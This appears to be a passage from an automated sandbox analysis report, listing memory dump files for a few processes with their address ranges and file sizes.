                                                                              • memory/1424-58-0x00007FFCA37E0000-0x00007FFCA3804000-memory.dmp

                                                                                Filesize

                                                                                144KB

                                                                              • memory/1424-105-0x00007FFCA37E0000-0x00007FFCA3804000-memory.dmp

                                                                                Filesize

                                                                                144KB

                                                                              • memory/1424-374-0x00007FFC91C40000-0x00007FFC92304000-memory.dmp

                                                                                Filesize

                                                                                6.8MB

                                                                              • memory/1424-77-0x00007FFCA7CA0000-0x00007FFCA7CB4000-memory.dmp

                                                                                Filesize

                                                                                80KB

                                                                              • memory/1424-78-0x00007FFCAD1F0000-0x00007FFCAD1FD000-memory.dmp

                                                                                Filesize

                                                                                52KB

                                                                              • memory/1424-81-0x00007FFCA8D50000-0x00007FFCA8D6A000-memory.dmp

                                                                                Filesize

                                                                                104KB

                                                                              • memory/1424-82-0x00007FFCA29A0000-0x00007FFCA2ABB000-memory.dmp

                                                                                Filesize

                                                                                1.1MB

                                                                              • memory/1424-385-0x00007FFC91710000-0x00007FFC91C39000-memory.dmp

                                                                                Filesize

                                                                                5.2MB

                                                                              • memory/1424-79-0x00007FFCA67F0000-0x00007FFCA681D000-memory.dmp

                                                                                Filesize

                                                                                180KB

                                                                              • memory/1424-309-0x00007FFCA37A0000-0x00007FFCA37D3000-memory.dmp

                                                                                Filesize

                                                                                204KB

                                                                              • memory/1424-70-0x00007FFC91C40000-0x00007FFC92304000-memory.dmp

                                                                                Filesize

                                                                                6.8MB

                                                                              • memory/1424-324-0x00007FFCA2AC0000-0x00007FFCA2B8D000-memory.dmp

                                                                                Filesize

                                                                                820KB

                                                                              • memory/1424-325-0x000002344D930000-0x000002344DE59000-memory.dmp

                                                                                Filesize

                                                                                5.2MB

                                                                              • memory/1424-326-0x00007FFC91710000-0x00007FFC91C39000-memory.dmp

                                                                                Filesize

                                                                                5.2MB

                                                                              • memory/1424-71-0x00007FFCA2AC0000-0x00007FFCA2B8D000-memory.dmp

                                                                                Filesize

                                                                                820KB

                                                                              • memory/1424-72-0x000002344D930000-0x000002344DE59000-memory.dmp

                                                                                Filesize

                                                                                5.2MB

                                                                              • memory/1424-73-0x00007FFC91710000-0x00007FFC91C39000-memory.dmp

                                                                                Filesize

                                                                                5.2MB

                                                                              • memory/1424-74-0x00007FFCA6820000-0x00007FFCA6845000-memory.dmp

                                                                                Filesize

                                                                                148KB

                                                                              • memory/1424-67-0x00007FFCA37A0000-0x00007FFCA37D3000-memory.dmp

                                                                                Filesize

                                                                                204KB

                                                                              • memory/1424-64-0x00007FFCAD230000-0x00007FFCAD23D000-memory.dmp

                                                                                Filesize

                                                                                52KB

                                                                              • memory/1424-62-0x00007FFCA8C90000-0x00007FFCA8CA9000-memory.dmp

                                                                                Filesize

                                                                                100KB

                                                                              • memory/1424-60-0x00007FFCA2B90000-0x00007FFCA2D0F000-memory.dmp

                                                                                Filesize

                                                                                1.5MB

                                                                              • memory/1424-106-0x00007FFCA2B90000-0x00007FFCA2D0F000-memory.dmp

                                                                                Filesize

                                                                                1.5MB

                                                                              • memory/1424-56-0x00007FFCA8D50000-0x00007FFCA8D6A000-memory.dmp

                                                                                Filesize

                                                                                104KB

                                                                              • memory/1424-54-0x00007FFCA67F0000-0x00007FFCA681D000-memory.dmp

                                                                                Filesize

                                                                                180KB

                                                                              • memory/1424-48-0x00007FFCAD270000-0x00007FFCAD27F000-memory.dmp

                                                                                Filesize

                                                                                60KB

                                                                              • memory/1424-25-0x00007FFC91C40000-0x00007FFC92304000-memory.dmp

                                                                                Filesize

                                                                                6.8MB

                                                                              • memory/1424-358-0x00007FFC91C40000-0x00007FFC92304000-memory.dmp

                                                                                Filesize

                                                                                6.8MB

                                                                              • memory/1424-364-0x00007FFCA2B90000-0x00007FFCA2D0F000-memory.dmp

                                                                                Filesize

                                                                                1.5MB

                                                                              • memory/1424-359-0x00007FFCA6820000-0x00007FFCA6845000-memory.dmp

                                                                                Filesize

                                                                                148KB

                                                                              • memory/1424-399-0x00007FFCA37A0000-0x00007FFCA37D3000-memory.dmp

                                                                                Filesize

                                                                                204KB

                                                                              • memory/1424-400-0x00007FFCA7CA0000-0x00007FFCA7CB4000-memory.dmp

                                                                                Filesize

                                                                                80KB

                                                                              • memory/1424-398-0x00007FFCA2AC0000-0x00007FFCA2B8D000-memory.dmp

                                                                                Filesize

                                                                                820KB

                                                                              • memory/1424-397-0x00007FFCAD230000-0x00007FFCAD23D000-memory.dmp

                                                                                Filesize

                                                                                52KB

                                                                              • memory/1424-396-0x00007FFCA8C90000-0x00007FFCA8CA9000-memory.dmp

                                                                                Filesize

                                                                                100KB

                                                                              • memory/1424-395-0x00007FFCA2B90000-0x00007FFCA2D0F000-memory.dmp

                                                                                Filesize

                                                                                1.5MB

                                                                              • memory/1424-394-0x00007FFCA37E0000-0x00007FFCA3804000-memory.dmp

                                                                                Filesize

                                                                                144KB

                                                                              • memory/1424-393-0x00007FFCA8D50000-0x00007FFCA8D6A000-memory.dmp

                                                                                Filesize

                                                                                104KB

                                                                              • memory/1424-392-0x00007FFCA67F0000-0x00007FFCA681D000-memory.dmp

                                                                                Filesize

                                                                                180KB

                                                                              • memory/1424-391-0x00007FFCAD270000-0x00007FFCAD27F000-memory.dmp

                                                                                Filesize

                                                                                60KB

                                                                              • memory/1424-390-0x00007FFCA6820000-0x00007FFCA6845000-memory.dmp

                                                                                Filesize

                                                                                148KB

                                                                              • memory/1424-389-0x00007FFCAD1F0000-0x00007FFCAD1FD000-memory.dmp

                                                                                Filesize

                                                                                52KB

                                                                              • memory/1424-388-0x00007FFCA29A0000-0x00007FFCA2ABB000-memory.dmp

                                                                                Filesize

                                                                                1.1MB

                                                                              • memory/4752-248-0x0000021F2D330000-0x0000021F2D338000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                              • memory/5984-88-0x000002092FE40000-0x000002092FE62000-memory.dmp

                                                                                Filesize

                                                                                136KB